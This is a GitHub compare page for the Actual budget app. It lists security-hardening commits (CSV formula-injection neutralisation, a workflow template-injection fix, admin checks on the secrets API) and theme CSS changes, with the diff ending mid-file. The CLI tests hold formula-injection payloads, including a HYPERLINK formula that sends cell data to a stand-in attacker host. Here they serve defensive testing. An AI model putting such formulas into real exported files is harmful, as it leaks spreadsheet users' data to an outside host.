Compare commits

...

11 Commits

Author SHA1 Message Date
Matiss Janis Aboltins
068185751c [AI] Prevent CSV formula injection in exports and CLI output (#7859)
* [AI] Neutralize CSV formula-injection in CLI output and transaction export

Prefix cells starting with =, +, -, @, tab, or CR with a single quote so
that user-controlled strings (payee/account/category/tag names, notes,
etc.) cannot evaluate as formulas when the CSV is opened in Excel,
LibreOffice Calc, or Google Sheets. Numeric values are left unprefixed.

- packages/cli/src/output.ts: harden escapeCsv used by --format csv
- packages/loot-core/src/server/transactions/export/export-to-csv.ts:
  pass a cast.string option to csv-stringify

* [AI] Simplify CSV formula-injection guard

- Drop the FormattedCell type; check typeof value === 'number' inline in
  the CSV path instead of threading an isNumeric flag through formatCellValue
- Shorten verbose comments and drop standards-body references

* [AI] Remove @ts-strict-ignore from export-to-csv test

* [AI] Add release notes for CSV formula-injection fix

* [AI] Quote CSV cells containing carriage returns

Per RFC 4180, bare \r inside an unquoted field can be interpreted as
a record terminator. Extend escapeCsv to also quote on \r so neutralized
formula payloads (e.g. "'\rHELLO") are emitted as a single cell.

* [autofix.ci] apply automated fixes

* [AI] Rephrase release note in user-facing language

---------

Co-authored-by: Claude <noreply@anthropic.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-05-16 21:05:40 +00:00
Matiss Janis Aboltins
8f0265e0b0 [AI] Convert built-in themes from TypeScript to CSS files (#7851)
* [AI] Convert theme color TS modules to CSS files with CSS variables

Replace `palette.ts` and `themes/{light,dark,midnight}.ts` with plain CSS
files that declare the same variables directly via `:root` blocks. The
palette becomes `--palette-*` variables; each theme defines `--color-*`
variables referencing those (or other `--color-*` for intra-theme aliases).

`theme.tsx` and Storybook's `preview.tsx` now import each CSS file as a
string via Vite's `?inline` query and render two `<style>` tags (palette +
active theme) instead of building the variable declarations at runtime
from a TS object.

Auto/dark-preference selection, `prefers-color-scheme` listening, the
custom-theme baseTheme override, and the `CustomThemeStyle` override layer
are all preserved.

* [AI] Move theme CSS files to component-library

Move palette.css and themes/{light,dark,midnight}.css from desktop-client's
style/ directory into component-library at src/themes/, and add explicit
package.json exports for each. desktop-client's theme.tsx now imports them
via `@actual-app/components/themes/*.css?inline`, and Storybook's
preview.tsx uses a normal relative path inside its own package instead of
reaching across the monorepo boundary.

* [AI] Minimize theme.tsx rename churn

Keep the original variable names — `themes[*].colors`, `themeColors` state,
`lightColors` / `darkColors` locals, and `getBaseThemeColors` — even though
they now hold CSS strings rather than color objects. Limits the diff to the
import changes, the state type, and the render path.

* [AI] Add release note for theme CSS conversion

---------

Co-authored-by: Claude <noreply@anthropic.com>
2026-05-16 21:05:02 +00:00
Matiss Janis Aboltins
3494f78c94 [AI] Restrict secrets API access to admins in OpenID mode (#7862)
* [AI] Require admin for GET /secret/:name in OpenID mode

The GET handler only verified an authenticated session, while the
sibling POST handler enforced an admin gate when the active auth
method is openid. A non-admin BASIC user in an OpenID multi-user
deployment could enumerate which admin-managed bank-sync secrets
were configured by probing 204 vs 404 responses.

Factor the auth-method + admin check into a shared helper used by
both POST and GET, and restrict the GET :name parameter to the
known SecretName enum so unrelated probing returns 404 up front.

* [AI] Simplify secrets auth guard after review

- Use existing getActiveLoginMethod() helper instead of duplicating
  the SELECT inline; drop the redundant try/catch.
- Validate the secret name against the SecretName enum before doing
  the auth-method DB query so bogus probes fail fast.
- Switch the enum membership check from hasOwnProperty.call to the
  more idiomatic in operator.
- Tighten the function-header comment to a single WHY line.
- Drop the dead else-branch from the test helper.

* [AI] Move response building back into the secrets handlers

Reshape the helper as canManageSecrets(userId) - a pure predicate over
the user. Each handler now owns its own 403 response so request/response
plumbing stays inside the route handlers.

* [AI] Undo testSecretName -> validSecretName rename

Reuse the original testSecretName / testSecretValue constants; only
the value of testSecretName changes to a real SecretName so the GET
handler's enum check accepts it.

* [AI] Add release note for #7862

* [AI] Validate POST secret name and tighten GET auth ordering

- POST /secret/ now rejects names not in the SecretName enum with 400.
- GET /secret/:name runs the admin check before the enum check so
  non-admins in OpenID mode get a uniform 403 regardless of whether
  the requested name is valid.
- Add tests for both: admin POST success in OpenID mode, and POST 400
  for unknown secret names.

---------

Co-authored-by: Claude <noreply@anthropic.com>
2026-05-16 20:59:31 +00:00
Matiss Janis Aboltins
46c350613c [AI] Upgrade vite-plugin-node-polyfills to 0.27.0 (#7860)
* [AI] Upgrade vite-plugin-node-polyfills to 0.27.0

Bumps `vite-plugin-node-polyfills` from `^0.26.0` to `^0.27.0` in
`packages/loot-core`.

Changelog: https://github.com/davidmyersdev/vite-plugin-node-polyfills/releases/tag/v0.27.0
Related upstream issue (already referenced from `vite.config.mts`):
https://github.com/davidmyersdev/vite-plugin-node-polyfills/issues/142

* [AI] Add release note for vite-plugin-node-polyfills upgrade

* [AI] Remove stale upstream issue reference from vite config

The link pointed at davidmyersdev/vite-plugin-node-polyfills#142, which
no longer needs a workaround note alongside the `nodePolyfills` call.

---------

Co-authored-by: Claude <noreply@anthropic.com>
2026-05-16 15:03:52 +00:00
Matt Fiddaman
9b19cd2616 automation UI: various tweaks and fixes (#7832)
* warning when only a balance cap is used

* add tooltip for short descriptions

* fix parsing issue with template 0 up to templates

* preselect value to make deletion easier

* note

* fix balance cap note

* fix tests

* remove recurring

* Goal/Automation wording
2026-05-15 22:13:30 +00:00
Matiss Janis Aboltins
1f101077d6 [AI] zizmor: add environment references to secret-consuming workflows (#7856)
* [AI] Reference dedicated environments for workflows using secrets

Assigns each secret-consuming workflow to a dedicated GitHub
environment so zizmor's secrets-without-environment audit passes:

- ai-generated-release-notes.yml -> ai-release-notes
- docs-spelling.yml (update job) -> docs-spelling
- i18n-string-extract-master.yml -> i18n
- release-notes.yml -> pr-automation
- vrt-update-apply.yml -> pr-automation

* [AI] Rename release notes file to match PR #7856

---------

Co-authored-by: Claude <noreply@anthropic.com>
2026-05-15 21:45:12 +00:00
Matiss Janis Aboltins
62d7c0e479 [AI] zizmor: fix template injection in setup action's Lage cache step (#7858)
* [AI] Fix template injection in setup action's Lage cache step

The 'Ensure Lage cache directory exists' step expanded
${{ inputs.working-directory }} directly into the shell command via
format(), which zizmor flags as a code-injection risk. Pass the input
through an env var and reference it with shell expansion instead.

* [AI] Add release note for template injection fix

* [AI] Rename release note to match PR #7858

---------

Co-authored-by: Claude <noreply@anthropic.com>
2026-05-15 21:34:22 +00:00
dependabot[bot]
740392941d Bump qs from 6.13.0 to 6.15.1 (#7857)
Bumps [qs](https://github.com/ljharb/qs) from 6.13.0 to 6.15.1.
- [Changelog](https://github.com/ljharb/qs/blob/main/CHANGELOG.md)
- [Commits](https://github.com/ljharb/qs/compare/v6.13.0...v6.15.1)

---
updated-dependencies:
- dependency-name: qs
  dependency-version: 6.15.1
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-05-15 20:53:31 +00:00
dependabot[bot]
d4528e18ea Bump lodash-es from 4.17.21 to 4.18.1 (#7854)
Bumps [lodash-es](https://github.com/lodash/lodash) from 4.17.21 to 4.18.1.
- [Release notes](https://github.com/lodash/lodash/releases)
- [Commits](https://github.com/lodash/lodash/compare/4.17.21...4.18.1)

---
updated-dependencies:
- dependency-name: lodash-es
  dependency-version: 4.18.1
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-05-15 20:23:31 +00:00
Matiss Janis Aboltins
3d47eae87b [AI] Replace GitHub Actions with native gh CLI commands (#7852)
* [AI] Replace superfluous actions flagged by zizmor

Address zizmor's `superfluous-actions` audit by replacing actions whose
functionality is already provided by the runner's pre-installed `gh` CLI:

- `actions-ecosystem/action-add-labels` -> `gh issue edit --add-label`
- `peter-evans/create-or-update-comment` -> `gh issue comment`
- `softprops/action-gh-release` -> `gh release create` / `gh release upload`

For the Electron release workflow, the create step is race-safe across
the three matrix OS jobs that share the same draft release.

* [AI] Simplify electron release upload script

- Drop the `gh release view` existence check; `gh release create ... || true`
  already handles the matrix-job race against the same draft release.
- Use `extglob` to exclude `Actual-windows.exe` inline instead of looping
  over `.exe` separately.

* Add release notes for PR #7852

* [AI] Narrow error suppression on gh release create

Only swallow the "already_exists" error from the parallel-matrix race;
propagate any other failure (auth, network, API) instead of masking it.

---------

Co-authored-by: Claude <noreply@anthropic.com>
Co-authored-by: github-actions[bot] <github-actions[bot]@users.noreply.github.com>
2026-05-15 19:51:40 +00:00
Sebastián Maluk
90a1e9bdd3 [AI] Color balance forecast line by zero crossing (#7850)
* [AI] Color forecast line by zero crossing

* [AI] Add release note for forecast line coloring
2026-05-15 17:50:40 +00:00
55 changed files with 1439 additions and 972 deletions

View File

@@ -39,8 +39,10 @@ runs:
path: ${{ format('{0}/**/node_modules', inputs.working-directory) }}
key: yarn-v1-${{ runner.os }}-${{ steps.get-node.outputs.version }}-${{ hashFiles(format('{0}/**/yarn.lock', inputs.working-directory)) }}
- name: Ensure Lage cache directory exists
run: mkdir -p ${{ format('{0}/.lage', inputs.working-directory) }}
run: mkdir -p "$WORKING_DIRECTORY/.lage"
shell: bash
env:
WORKING_DIRECTORY: ${{ inputs.working-directory }}
- name: Cache Lage
uses: actions/cache@cdf6c1fa76f9f475f3d7449005a359c84ca0f306 # v5.0.3
if: ${{ inputs.cache == 'true' }}

View File

@@ -9,6 +9,7 @@ jobs:
# Only run on PR comments from CodeRabbit bot
if: github.event.issue.pull_request && github.event.comment.user.login == 'coderabbitai[bot]'
runs-on: ubuntu-latest
environment: ai-release-notes
timeout-minutes: 10
permissions:
contents: write

View File

@@ -146,6 +146,7 @@ jobs:
pull-requests: write
actions: read
runs-on: ubuntu-latest
environment: docs-spelling
if: ${{
github.event_name == 'issue_comment' &&
github.event.issue.pull_request &&

View File

@@ -100,10 +100,11 @@ jobs:
path: |
packages/desktop-electron/dist/*.appx
- name: Add to new release
uses: softprops/action-gh-release@153bb8e04406b158c6c84fc1615b65b24149a1fe # v2.6.1
with:
draft: true
body: |
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
GH_REPO: ${{ github.repository }}
TAG: ${{ github.ref_name }}
RELEASE_NOTES: |
:link: [View release notes](https://actualbudget.org/blog/release-${{ steps.process_version.outputs.version }})
## Desktop releases
@@ -114,13 +115,27 @@ jobs:
<img src="data:image/gif;base64,R0lGODlhAQABAAAAACw=" width="12" height="1" alt="" />
<a href="https://flathub.org/apps/com.actualbudget.actual"><img width="165" style="margin-left:12px;" alt="Get it on Flathub" src="https://flathub.org/api/badge?locale=en" /></a>
</p>
files: |
run: |
# The matrix runs three OS jobs in parallel against one release;
# only ignore the "already exists" error that the race losers hit.
if ! create_output=$(gh release create "$TAG" --draft --title "$TAG" --notes "$RELEASE_NOTES" 2>&1); then
if [[ "$create_output" != *already_exists* ]]; then
echo "$create_output" >&2
exit 1
fi
fi
shopt -s extglob nullglob
files=(
packages/desktop-electron/dist/*.dmg
packages/desktop-electron/dist/*.exe
!packages/desktop-electron/dist/Actual-windows.exe
packages/desktop-electron/dist/!(Actual-windows).exe
packages/desktop-electron/dist/*.AppImage
packages/desktop-electron/dist/*.flatpak
packages/desktop-electron/dist/*.appx
)
if [ ${#files[@]} -gt 0 ]; then
gh release upload "$TAG" --clobber "${files[@]}"
fi
outputs:
version: ${{ steps.process_version.outputs.version }}

View File

@@ -12,6 +12,7 @@ permissions:
jobs:
extract-and-upload-i18n-strings:
runs-on: ubuntu-latest
environment: i18n
if: github.repository == 'actualbudget/actual'
steps:
- name: Check out main repository

View File

@@ -11,21 +11,21 @@ jobs:
needs-votes:
if: ${{ github.event.label.name == 'feature' }}
runs-on: ubuntu-latest
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
GH_REPO: ${{ github.repository }}
ISSUE_NUMBER: ${{ github.event.issue.number }}
steps:
- uses: actions-ecosystem/action-add-labels@bd52874380e3909a1ac983768df6976535ece7f8 # v1.1.0
with:
labels: needs votes
github_token: ${{ secrets.GITHUB_TOKEN }}
- name: Add needs votes label
run: gh issue edit "$ISSUE_NUMBER" --add-label "needs votes"
- name: Add reactions
uses: aidan-mundy/react-to-issue@109392cac5159c2df6c47c8ab3b5d6b708852fe5 # v1.1.2
with:
issue-number: ${{ github.event.issue.number }}
reactions: '+1'
- name: Create comment
uses: peter-evans/create-or-update-comment@e8674b075228eee787fea43ef493e45ece1004c9 # v5.0.0
with:
issue-number: ${{ github.event.issue.number }}
body: |
env:
COMMENT_BODY: |
:sparkles: Thanks for sharing your idea! :sparkles:
This repository uses a voting-based system for feature requests. While enhancement issues are automatically closed, we still welcome feature requests! The voting system helps us gauge community interest in potential features. We also encourage community contributions for any feature requests marked as needing votes (just post a comment first so we can help guide you toward a successful contribution).
@@ -35,7 +35,6 @@ jobs:
Don't forget to upvote the top comment with 👍!
<!-- feature-auto-close-comment -->
run: gh issue comment "$ISSUE_NUMBER" --body "$COMMENT_BODY"
- name: Close Issue
run: gh issue close "https://github.com/actualbudget/actual/issues/${{ github.event.issue.number }}"
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: gh issue close "$ISSUE_NUMBER"

View File

@@ -14,6 +14,7 @@ concurrency:
jobs:
release-notes:
runs-on: ubuntu-latest
environment: pr-automation
steps:
- name: Check if triggered by bot
id: bot-check

View File

@@ -16,6 +16,7 @@ jobs:
apply-vrt-updates:
name: Apply VRT Updates
runs-on: ubuntu-latest
environment: pr-automation
if: ${{ github.event.workflow_run.conclusion == 'success' }}
steps:
- name: Download patch artifact

View File

@@ -154,6 +154,50 @@ describe('formatOutput', () => {
expect(result).toContain('166500');
expect(result).not.toContain('1665.00');
});
describe('formula-injection neutralization', () => {
it.each([['=1+1'], ['+1+1'], ['-2+3'], ['@SUM(1+1)'], ['\tHELLO']])(
'prefixes a leading %j with a single quote',
payload => {
const data = [{ val: payload }];
const result = formatOutput(data, 'csv');
expect(result).toBe(`val\n'${payload}`);
},
);
it('prefixes and quotes a leading carriage return', () => {
const data = [{ val: '\rHELLO' }];
const result = formatOutput(data, 'csv');
expect(result).toBe('val\n"\'\rHELLO"');
});
it('quotes values containing a carriage return mid-string', () => {
const data = [{ val: 'line1\rline2' }];
const result = formatOutput(data, 'csv');
expect(result).toBe('val\n"line1\rline2"');
});
it('neutralizes formula triggers even when the value also needs quoting', () => {
const data = [{ val: '=HYPERLINK("http://attacker/?d="&B2,"x")' }];
const result = formatOutput(data, 'csv');
const lines = result.split('\n');
expect(lines[1]).toBe(
'"\'=HYPERLINK(""http://attacker/?d=""&B2,""x"")"',
);
});
it('does not neutralize trigger characters that appear mid-string', () => {
const data = [{ val: 'a+b' }];
const result = formatOutput(data, 'csv');
expect(result).toBe('val\na+b');
});
it('does not prefix negative amount values', () => {
const data = [{ amount: -2500 }];
const result = formatOutput(data, 'csv');
expect(result).toBe('amount\n-25.00');
});
});
});
});

View File

@@ -73,9 +73,7 @@ function formatCsv(data: unknown): string {
if (data && typeof data === 'object') {
const entries = Object.entries(data);
const header = entries.map(([k]) => escapeCsv(k)).join(',');
const values = entries
.map(([k, v]) => escapeCsv(formatCellValue(k, v)))
.join(',');
const values = entries.map(([k, v]) => formatCsvCell(k, v)).join(',');
return header + '\n' + values;
}
return String(data);
@@ -89,14 +87,31 @@ function formatCsv(data: unknown): string {
const header = keys.map(k => escapeCsv(k)).join(',');
const rows = data.map(row => {
const r = row as Record<string, unknown>;
return keys.map(k => escapeCsv(formatCellValue(k, r[k]))).join(',');
return keys.map(k => formatCsvCell(k, r[k])).join(',');
});
return [header, ...rows].join('\n');
}
const FORMULA_TRIGGERS = /^[=+\-@\t\r]/;
function formatCsvCell(key: string, value: unknown): string {
let formatted = formatCellValue(key, value);
// Skip neutralization for numeric values so legitimate negative amounts
// like "-25.00" aren't quoted as text.
if (typeof value !== 'number' && FORMULA_TRIGGERS.test(formatted)) {
formatted = "'" + formatted;
}
return escapeCsv(formatted);
}
function escapeCsv(value: string): string {
if (value.includes(',') || value.includes('"') || value.includes('\n')) {
if (
value.includes(',') ||
value.includes('"') ||
value.includes('\n') ||
value.includes('\r')
) {
return '"' + value.replace(/"/g, '""') + '"';
}
return value;

View File

@@ -2,19 +2,15 @@ import { type ReactNode } from 'react';
import type { Preview } from '@storybook/react-vite';
// Not ideal to import from desktop-client, but we need a source of truth for theme variables
// TODO: this needs refactoring
// oxlint-disable-next-line actual/enforce-boundaries
import * as darkTheme from '../../desktop-client/src/style/themes/dark';
// oxlint-disable-next-line actual/enforce-boundaries
import * as lightTheme from '../../desktop-client/src/style/themes/light';
// oxlint-disable-next-line actual/enforce-boundaries
import * as midnightTheme from '../../desktop-client/src/style/themes/midnight';
import darkThemeCss from '../src/themes/dark.css?inline';
import lightThemeCss from '../src/themes/light.css?inline';
import midnightThemeCss from '../src/themes/midnight.css?inline';
import paletteCss from '../src/themes/palette.css?inline';
const THEMES = {
light: lightTheme,
dark: darkTheme,
midnight: midnightTheme,
light: lightThemeCss,
dark: darkThemeCss,
midnight: midnightThemeCss,
} as const;
type ThemeName = keyof typeof THEMES;
@@ -30,13 +26,10 @@ const ThemedStory = ({
throw new Error(`No theme specified`);
}
const css = Object.entries(THEMES[themeName])
.map(([key, value]) => `--color-${key}: ${value};`)
.join('\n');
return (
<div>
<style>{`:root {\n${css}}`}</style>
<style>{paletteCss}</style>
<style>{THEMES[themeName]}</style>
{children}
</div>
);

View File

@@ -31,6 +31,10 @@
"./text": "./src/Text.tsx",
"./text-one-line": "./src/TextOneLine.tsx",
"./theme": "./src/theme.ts",
"./themes/palette.css": "./src/themes/palette.css",
"./themes/light.css": "./src/themes/light.css",
"./themes/dark.css": "./src/themes/dark.css",
"./themes/midnight.css": "./src/themes/midnight.css",
"./tokens": "./src/tokens.ts",
"./toggle": "./src/Toggle.tsx",
"./tooltip": "./src/Tooltip.tsx",

View File

@@ -0,0 +1,250 @@
:root {
--color-pageBackground: var(--palette-gray900);
--color-pageBackgroundModalActive: var(--palette-gray800);
--color-pageBackgroundTopLeft: var(--palette-navy800);
--color-pageBackgroundBottomRight: var(--palette-gray700);
--color-pageBackgroundLineTop: var(--palette-purple400);
--color-pageBackgroundLineMid: var(--palette-navy900);
--color-pageBackgroundLineBottom: var(--palette-navy150);
--color-pageText: var(--palette-navy150);
--color-pageTextLight: var(--palette-navy300);
--color-pageTextSubdued: var(--palette-navy500);
--color-pageTextDark: var(--palette-navy100);
--color-pageTextPositive: var(--palette-purple200);
--color-pageTextLink: var(--palette-purple400);
--color-pageTextLinkLight: var(--palette-purple200);
--color-cardBackground: var(--palette-gray800);
--color-cardBorder: var(--palette-purple400);
--color-cardShadow: var(--palette-navy700);
--color-tableBackground: var(--palette-navy800);
--color-tableRowBackgroundHover: var(--palette-navy700);
--color-tableText: var(--palette-navy150);
--color-tableTextLight: var(--color-tableText);
--color-tableTextSubdued: var(--palette-navy500);
--color-tableTextSelected: var(--palette-navy150);
--color-tableTextHover: var(--palette-navy400);
--color-tableTextInactive: var(--palette-navy500);
--color-tableHeaderText: var(--palette-navy300);
--color-tableHeaderBackground: var(--palette-navy700);
--color-tableBorder: var(--palette-navy600);
--color-tableBorderSelected: var(--palette-purple400);
--color-tableBorderHover: var(--palette-purple300);
--color-tableBorderSeparator: var(--palette-navy400);
--color-tableRowBackgroundHighlight: var(--palette-purple800);
--color-tableRowBackgroundHighlightText: var(--palette-navy150);
--color-tableRowHeaderBackground: var(--palette-navy700);
--color-tableRowHeaderText: var(--palette-navy150);
--color-numberPositive: var(--palette-green300);
--color-numberNegative: var(--palette-red200);
--color-numberNeutral: var(--palette-navy500);
--color-budgetNumberNegative: var(--color-numberNegative);
--color-budgetNumberZero: var(--color-tableTextSubdued);
--color-budgetNumberNeutral: var(--color-tableText);
--color-budgetNumberPositive: var(--color-budgetNumberNeutral);
--color-templateNumberFunded: var(--color-numberPositive);
--color-templateNumberUnderFunded: var(--palette-orange300);
--color-toBudgetPositive: var(--color-numberPositive);
--color-toBudgetZero: var(--color-numberPositive);
--color-toBudgetNegative: var(--color-budgetNumberNegative);
--color-sidebarBackground: var(--palette-navy900);
--color-sidebarItemBackgroundPending: var(--palette-orange200);
--color-sidebarItemBackgroundPositive: var(--palette-green500);
--color-sidebarItemBackgroundFailed: var(--palette-red300);
--color-sidebarItemAccentSelected: var(--palette-purple200);
--color-sidebarItemBackgroundHover: var(--palette-navy700);
--color-sidebarItemText: var(--palette-navy150);
--color-sidebarItemTextSelected: var(--palette-purple200);
--color-sidebarBudgetName: var(--palette-navy300);
--color-menuBackground: var(--palette-navy800);
--color-menuItemBackground: var(--palette-navy800);
--color-menuItemBackgroundHover: var(--palette-navy500);
--color-menuItemText: var(--palette-navy100);
--color-menuItemTextHover: var(--palette-navy50);
--color-menuItemTextSelected: var(--palette-purple400);
--color-menuItemTextHeader: var(--palette-purple200);
--color-menuBorder: var(--palette-navy900);
--color-menuBorderHover: var(--palette-purple400);
--color-menuKeybindingText: var(--palette-purple200);
--color-menuAutoCompleteBackground: var(--palette-navy900);
--color-menuAutoCompleteBackgroundHover: var(--palette-navy600);
--color-menuAutoCompleteText: var(--palette-navy200);
--color-menuAutoCompleteTextHeader: var(--palette-purple200);
--color-menuAutoCompleteItemText: var(--color-menuItemText);
--color-modalBackground: var(--palette-gray800);
--color-modalBorder: var(--palette-navy600);
--color-mobileHeaderBackground: var(--palette-purple800);
--color-mobileHeaderText: var(--palette-navy150);
--color-mobileHeaderTextSubdued: var(--palette-gray200);
--color-mobileHeaderTextHover: rgba(200, 200, 200, 0.15);
--color-mobilePageBackground: var(--palette-navy700);
--color-mobileNavBackground: var(--palette-navy800);
--color-mobileNavItem: var(--palette-navy150);
--color-mobileNavItemSelected: var(--palette-purple400);
--color-mobileAccountShadow: var(--color-cardShadow);
--color-mobileAccountText: var(--palette-blue800);
--color-mobileTransactionSelected: var(--palette-purple400);
--color-mobileViewTheme: var(--color-mobileHeaderBackground);
--color-mobileConfigServerViewTheme: var(--palette-purple500);
--color-markdownNormal: var(--palette-purple700);
--color-markdownDark: var(--palette-purple500);
--color-markdownLight: var(--palette-purple800);
--color-buttonMenuText: var(--palette-navy200);
--color-buttonMenuTextHover: var(--color-buttonMenuText);
--color-buttonMenuBackground: transparent;
--color-buttonMenuBackgroundHover: rgba(200, 200, 200, 0.25);
--color-buttonMenuBorder: var(--palette-navy500);
--color-buttonMenuSelectedText: var(--palette-green800);
--color-buttonMenuSelectedTextHover: var(--palette-orange800);
--color-buttonMenuSelectedBackground: var(--palette-orange200);
--color-buttonMenuSelectedBackgroundHover: var(--palette-orange300);
--color-buttonMenuSelectedBorder: var(--color-buttonMenuSelectedBackground);
--color-buttonPrimaryText: var(--palette-white);
--color-buttonPrimaryTextHover: var(--color-buttonPrimaryText);
--color-buttonPrimaryBackground: var(--palette-purple400);
--color-buttonPrimaryBackgroundHover: var(--palette-purple600);
--color-buttonPrimaryBorder: var(--color-buttonPrimaryBackground);
--color-buttonPrimaryShadow: rgba(0, 0, 0, 0.6);
--color-buttonPrimaryDisabledText: var(--palette-navy700);
--color-buttonPrimaryDisabledBackground: var(--palette-navy400);
--color-buttonPrimaryDisabledBorder: var(
--color-buttonPrimaryDisabledBackground
);
--color-buttonNormalText: var(--palette-navy150);
--color-buttonNormalTextHover: var(--palette-navy150);
--color-buttonNormalBackground: var(--palette-navy800);
--color-buttonNormalBackgroundHover: var(--palette-navy600);
--color-buttonNormalBorder: var(--palette-navy300);
--color-buttonNormalShadow: rgba(0, 0, 0, 0.4);
--color-buttonNormalSelectedText: var(--palette-white);
--color-buttonNormalSelectedBackground: var(--palette-purple600);
--color-buttonNormalDisabledText: var(--palette-navy500);
--color-buttonNormalDisabledBackground: var(--palette-navy800);
--color-buttonNormalDisabledBorder: var(--palette-navy500);
--color-calendarText: var(--palette-navy50);
--color-calendarBackground: var(--palette-navy900);
--color-calendarItemText: var(--palette-navy150);
--color-calendarItemBackground: var(--palette-navy800);
--color-calendarSelectedBackground: var(
--color-buttonNormalSelectedBackground
);
--color-buttonBareText: var(--color-buttonNormalText);
--color-buttonBareTextHover: var(--color-buttonNormalText);
--color-buttonBareBackground: transparent;
--color-buttonBareBackgroundHover: rgba(200, 200, 200, 0.3);
--color-buttonBareBackgroundActive: rgba(200, 200, 200, 0.5);
--color-buttonBareDisabledText: var(--color-buttonNormalDisabledText);
--color-buttonBareDisabledBackground: var(--color-buttonBareBackground);
--color-noticeBackground: var(--palette-green800);
--color-noticeBackgroundLight: var(--palette-green900);
--color-noticeBackgroundDark: var(--palette-green500);
--color-noticeText: var(--palette-green300);
--color-noticeTextLight: var(--palette-green500);
--color-noticeTextDark: var(--palette-green150);
--color-noticeTextMenu: var(--palette-green500);
--color-noticeBorder: var(--palette-green800);
--color-warningBackground: var(--palette-orange800);
--color-warningText: var(--palette-orange300);
--color-warningTextLight: var(--palette-orange500);
--color-warningTextDark: var(--palette-orange100);
--color-warningBorder: var(--palette-orange500);
--color-errorBackground: var(--palette-red800);
--color-errorText: var(--palette-red200);
--color-errorTextDark: var(--palette-red150);
--color-errorTextDarker: var(--color-errorTextDark);
--color-errorTextMenu: var(--palette-red200);
--color-errorBorder: var(--palette-red500);
--color-upcomingBackground: var(--palette-purple700);
--color-upcomingText: var(--palette-purple100);
--color-upcomingBorder: var(--color-tableBorder);
--color-formLabelText: var(--palette-purple150);
--color-formLabelBackground: var(--palette-blue900);
--color-formInputBackground: var(--palette-navy800);
--color-formInputBackgroundSelected: var(--palette-navy700);
--color-formInputBackgroundSelection: var(--palette-purple400);
--color-formInputBorder: var(--palette-navy600);
--color-formInputTextReadOnlySelection: var(--palette-navy800);
--color-formInputBorderSelected: var(--palette-purple400);
--color-formInputText: var(--palette-navy150);
--color-formInputTextSelected: var(--palette-black);
--color-formInputTextPlaceholder: var(--palette-navy150);
--color-formInputTextPlaceholderSelected: var(--palette-navy100);
--color-formInputTextSelection: var(--palette-navy800);
--color-formInputShadowSelected: var(--palette-purple200);
--color-formInputTextHighlight: var(--palette-purple400);
--color-checkboxText: var(--color-tableText);
--color-checkboxBackgroundSelected: var(--palette-purple300);
--color-checkboxBorderSelected: var(--palette-purple300);
--color-checkboxShadowSelected: var(--palette-purple500);
--color-checkboxToggleBackground: var(--palette-gray700);
--color-checkboxToggleBackgroundSelected: var(--palette-purple300);
--color-checkboxToggleDisabled: var(--palette-gray400);
--color-pillBackground: var(--palette-navy800);
--color-pillBackgroundLight: var(--palette-navy900);
--color-pillText: var(--palette-navy200);
--color-pillTextHighlighted: var(--palette-purple200);
--color-pillBorder: var(--palette-navy700);
--color-pillBorderDark: var(--color-pillBorder);
--color-pillBackgroundSelected: var(--palette-purple600);
--color-pillTextSelected: var(--palette-navy150);
--color-pillBorderSelected: var(--palette-purple400);
--color-pillTextSubdued: var(--palette-navy500);
--color-reportsRed: var(--palette-red300);
--color-reportsBlue: var(--palette-blue400);
--color-reportsGreen: var(--palette-green400);
--color-reportsGray: var(--palette-gray400);
--color-reportsLabel: var(--color-pageText);
--color-reportsInnerLabel: var(--palette-navy800);
--color-reportsNumberPositive: var(--color-numberPositive);
--color-reportsNumberNegative: var(--color-numberNegative);
--color-reportsNumberNeutral: var(--color-numberNeutral);
--color-reportsChartFill: var(--color-reportsNumberPositive);
--color-noteTagBackground: var(--palette-purple700);
--color-noteTagBackgroundHover: var(--palette-purple500);
--color-noteTagDefault: var(--palette-purple700);
--color-noteTagText: var(--palette-purple100);
--color-budgetOtherMonth: var(--palette-navy900);
--color-budgetCurrentMonth: var(--color-tableBackground);
--color-budgetHeaderOtherMonth: var(--palette-navy800);
--color-budgetHeaderCurrentMonth: var(--color-tableHeaderBackground);
--color-floatingActionBarBackground: var(--palette-purple800);
--color-floatingActionBarBorder: var(--color-floatingActionBarBackground);
--color-floatingActionBarText: var(--palette-navy150);
--color-tooltipText: var(--palette-navy100);
--color-tooltipBackground: var(--palette-navy800);
--color-tooltipBorder: var(--palette-navy700);
--color-calendarCellBackground: var(--palette-navy900);
--color-overlayBackground: rgba(0, 0, 0, 0.3);
--color-chartQual1: var(--palette-chartQual1);
--color-chartQual2: var(--palette-chartQual2);
--color-chartQual3: var(--palette-chartQual3);
--color-chartQual4: var(--palette-chartQual4);
--color-chartQual5: var(--palette-chartQual5);
--color-chartQual6: var(--palette-chartQual6);
--color-chartQual7: var(--palette-chartQual7);
--color-chartQual8: var(--palette-chartQual8);
--color-chartQual9: var(--palette-chartQual9);
}

View File

@@ -0,0 +1,250 @@
:root {
--color-pageBackground: var(--palette-navy100);
--color-pageBackgroundModalActive: var(--palette-navy200);
--color-pageBackgroundTopLeft: var(--palette-navy100);
--color-pageBackgroundBottomRight: var(--palette-blue150);
--color-pageBackgroundLineTop: var(--palette-white);
--color-pageBackgroundLineMid: var(--palette-navy100);
--color-pageBackgroundLineBottom: var(--palette-blue150);
--color-pageText: #272630;
--color-pageTextLight: var(--palette-navy500);
--color-pageTextSubdued: var(--palette-navy300);
--color-pageTextDark: var(--palette-navy800);
--color-pageTextPositive: var(--palette-purple600);
--color-pageTextLink: var(--palette-blue600);
--color-pageTextLinkLight: var(--palette-blue300);
--color-cardBackground: var(--palette-white);
--color-cardBorder: var(--palette-purple700);
--color-cardShadow: var(--palette-navy700);
--color-tableBackground: var(--palette-white);
--color-tableRowBackgroundHover: var(--palette-navy50);
--color-tableText: var(--color-pageText);
--color-tableTextLight: var(--palette-navy400);
--color-tableTextSubdued: var(--palette-navy100);
--color-tableTextSelected: var(--palette-navy700);
--color-tableTextHover: var(--palette-navy900);
--color-tableTextInactive: var(--palette-navy500);
--color-tableHeaderText: var(--palette-navy600);
--color-tableHeaderBackground: var(--palette-white);
